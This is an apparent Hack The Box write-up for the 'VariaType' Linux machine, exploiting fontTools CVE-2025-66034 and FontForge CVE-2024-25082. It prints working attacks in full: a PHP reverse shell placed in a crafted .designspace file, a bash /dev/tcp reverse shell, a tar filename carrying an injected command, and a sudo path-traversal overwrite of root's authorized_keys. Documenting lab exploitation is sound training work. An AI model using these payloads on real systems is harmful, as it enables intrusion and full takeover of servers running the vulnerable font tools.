

Hack The Box – VariaType (Medium Linux Machine)

Martina Giacobbe

1 Reconnaissance

The initial enumeration phase started with an Nmap scan in order to identify exposed services, software versions, and possible attack surfaces.

```
$ nmap -sC -sV <victim_ip>
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-09 03:14 EDT
Nmap scan report for <victim_ip>
Host is up (0.054s latency).
Not shown: 998 closed tcp ports (reset)
```

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp    open  http     nginx 1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
|_http-server-header: nginx/1.22.1
```

```
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Only two services were exposed:

- SSH on port 22
- HTTP on port 80

The web service redirected requests to the virtual host `variatype.htb`, therefore the domain was added to the local `/etc/hosts` file.

1.1 Virtual Host Enumeration

Directory and virtual host enumeration revealed an additional subdomain:

```
portal.variatype.htb
```

Inside the web application, the banner exposed the version:

```
Variatype Virtual Suite 2025
```

This version was vulnerable to **CVE-2025-66034**.

2 Vulnerability Analysis – CVE-2025-66034

The vulnerability affects the Python library `fontTools`. Specifically, the `varLib` component improperly validates file paths specified inside crafted `.designspace` files.

The vulnerability allows:

- Arbitrary file write
- Path traversal
- Remote Code Execution

The core issue is that attacker-controlled values inside the XML structure are used to generate output files without proper sanitization.

The application exposed a feature named:

```
/tools/variable-font-generator
```

which processed uploaded `.designspace` files together with TTF font files.

2.1 Initial Foothold – Exploiting Arbitrary File Write

The objective was to write a PHP reverse shell into the web root.

First, a PHP payload was created.

```
$ vim payload.php
```

```
<?php
$s=fsockopen("<attacker_ip>",<attacker_port>);
$p=proc_open("/usr/bin/script -qc /bin/bash /dev/null",
array(0=>$s,1=>$s,2=>$s),$pipes);
?>
```

The payload uses `fsockopen()` to establish a TCP connection back to the attacker and `proc_open()` to spawn an interactive shell.

Next, a malicious `.designspace` file was crafted.

```
$ vim malicious.designspace
```

```
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight"
      minimum="100" maximum="900" default="400">

      <labelname xml:lang="en"><![CDATA[
<?php
$s=fsockopen("<attacker_ip>",<attacker_port>);
$p=proc_open("/usr/bin/script -qc /bin/bash /dev/null",
array(0=>$s,1=>$s,2=>$s),$pipes);
?>

]]></labelname>

      <labelname xml:lang="fr">PENTEST</labelname>
```

```
</axis>
</axes>

<sources>
  <source filename="source-light.ttf" name="Light">
    <location>
      <dimension name="Weight" xvalue="100"/>
    </location>
  </source>

  <source filename="source-regular.ttf" name="Regular">
    <location>
      <dimension name="Weight" xvalue="400"/>
    </location>
  </source>
</sources>

<variable-fonts>
  <variable-font name="MaliciousFont"
    filename="/var/www/html/files/f0nt_manual.php">

    <axis-subsets>
      <axis-subset name="Weight"/>
    </axis-subsets>

  </variable-font>
</variable-fonts>
</designspace>
```

The critical parameter was:

```
filename="/var/www/html/files/f0nt_manual.php"
```

which forced the vulnerable backend to write attacker-controlled content directly into the web root.

The application also required two valid .ttf files. These were generated using the proof-of-concept script available in the official security advisory:

```
https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv
```

The upload request was then performed using curl.

```
$ curl -v -X POST \
"http://variatype.htb/tools/variable-font-generator/process" \
-H "Origin: http://variatype.htb" \
-H "Referer: http://variatype.htb/tools/variable-font-generator" \
-H "User-Agent: Mozilla/5.0" \
-F "designspace=@malicious.designspace;
  type=application/octet-stream" \
-F "masters=@source-regular.ttf;type=font/ttf" \
-F "masters=@source-light.ttf;type=font/ttf"
```

Before triggering the payload, a listener was prepared on the attacker machine.

```
$ nc -lvnp <attacker_port>
```

Finally, the generated PHP file was executed.

```
$ curl "http://variatype.htb/files/f0nt_manual.php"
```

A reverse shell as `www-data` was obtained.

3 Post-Exploitation Enumeration

The next step was local enumeration.

Inspecting `/etc/passwd` revealed a local user:

```
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
```

Additional credentials were also discovered:

```
gitbot:G1tB0t_Acc3ss_2025!
```

These credentials granted access to:

```
portal.variatype.htb
```

Searching for files owned by `steve` revealed:

```
$ find / -user steve 2>/dev/null
```

Among the results, the following file was particularly interesting:

```
/opt/process_client_submissions.bak
```

The script executed FontForge using inline Python:

```
if timeout 30 \  
/usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
```

This immediately suggested a possible command injection vector through malicious font parsing.

3.1 FontForge Vulnerability – CVE-2024-25082

Further inspection showed that the installed FontForge version was:

```
fontforge-20120731
```

This version was vulnerable to **CVE-2024-25082**.

The vulnerability allows command injection through specially crafted archives or compressed font files. Internally, unsafe shell command execution occurs during font processing.

4 Lateral Movement – Gaining Access as Steve

A reverse shell payload was prepared on the attacker machine.

```
$ nc -lvnp 9002
```

A shell script was created:

```
$ echo 'bash -i >& /dev/tcp/10.10.14.88/9002 0>&1' > /tmp/s.sh
$ chmod +x /tmp/s.sh
```

Next, a malicious TAR archive was generated.

```
$ python3 << 'EOF'
import tarfile, io

malicious_name = "exploit.ttf;bash /tmp/s.sh;"

tar = tarfile.open("exploit.tar", "w")

info = tarfile.TarInfo(name=malicious_name)
info.size = 4

tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()

print("done")
EOF
```

The injected filename:

```
exploit.ttf;bash /tmp/s.sh;
```

was designed to break shell parsing and append arbitrary command execution.

The malicious archive was then served over HTTP.

```
$ python3 -m http.server
```

From the victim machine:

```
$ wget http://<attacker_ip>:<attacker_port>/exploit.tar
```

The file was uploaded into the monitored upload directory used by the scheduled processing task.

Once the cronjob executed the vulnerable processing pipeline, a reverse shell as **steve** was obtained.

5 Privilege Escalation

Privilege enumeration revealed the following sudo permissions.

```
$ sudo -l
```

Matching Defaults entries for steve on variatype:

```
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:
/usr/sbin:/usr/bin:/sbin:/bin,
use_pty
```

User steve may run the following commands on variatype:

```
(root) NOPASSWD:
/usr/bin/python3 /opt/font-tools/install_validator.py *
```

The script accepted arbitrary URLs as arguments and downloaded external resources without validating the destination path.

The objective was therefore to overwrite:

```
/root/.ssh/authorized_keys
```

with an attacker-controlled public key.

5.1 Generating SSH Keys

A passwordless SSH key pair was generated.

```
$ ssh-keygen -t ed25519 -f /tmp/rootkey -N ""
```

A payload directory was created:

```
$ mkdir /tmp/payload/
$ cp /tmp/rootkey.pub /tmp/payload/authorized_keys
```

A minimal Python web server was then implemented to serve the public key.

```
$ vim python_server.py
```

```
from http.server import BaseHTTPRequestHandler, HTTPServer
```

```
PORT = 8888
```

```
FILE_TO_SERVE = "/tmp/payload/authorized_keys"
```

```
class SimpleFileServer(BaseHTTPRequestHandler):
```

```
    def do_GET(self):
```

```
        try:
```

```
            with open(FILE_TO_SERVE, "rb") as f:
                content = f.read()
```

```
            self.send_response(200)
```

```
            self.send_header("Content-Type", "text/plain")
```

```
            self.send_header("Content-Length",
                              str(len(content)))
```

```
            self.end_headers()
```

```
        self.wfile.write(content)

    except FileNotFoundError:
        self.send_response(404)
        self.end_headers()
        self.wfile.write(b"File not found.")

def run_server():

    server_address = ("", PORT)
    httpd = HTTPServer(server_address,
                       SimpleFileServer)

    print(f"Serving {FILE_TO_SERVE} on port {PORT}...")
    httpd.serve_forever()

if __name__ == "__main__":
    run_server()
```

The server was started:

```
$ python3 python_server.py
```

Finally, the vulnerable installer was abused to write the public key into root's SSH directory.

```
$ sudo /usr/bin/python3 \
/opt/font-tools/install_validator.py \
http://10.10.14.88:8888/%2Froot%2F.ssh%2Fauthorized_keys
```

The URL-encoded path traversal:

```
%2Froot%2F.ssh%2Fauthorized_keys
```

allowed arbitrary file placement as root.
SSH access as root was then achieved.

```
$ ssh -i /tmp/rootkey root@variatype.htb
```

Root privileges were obtained successfully.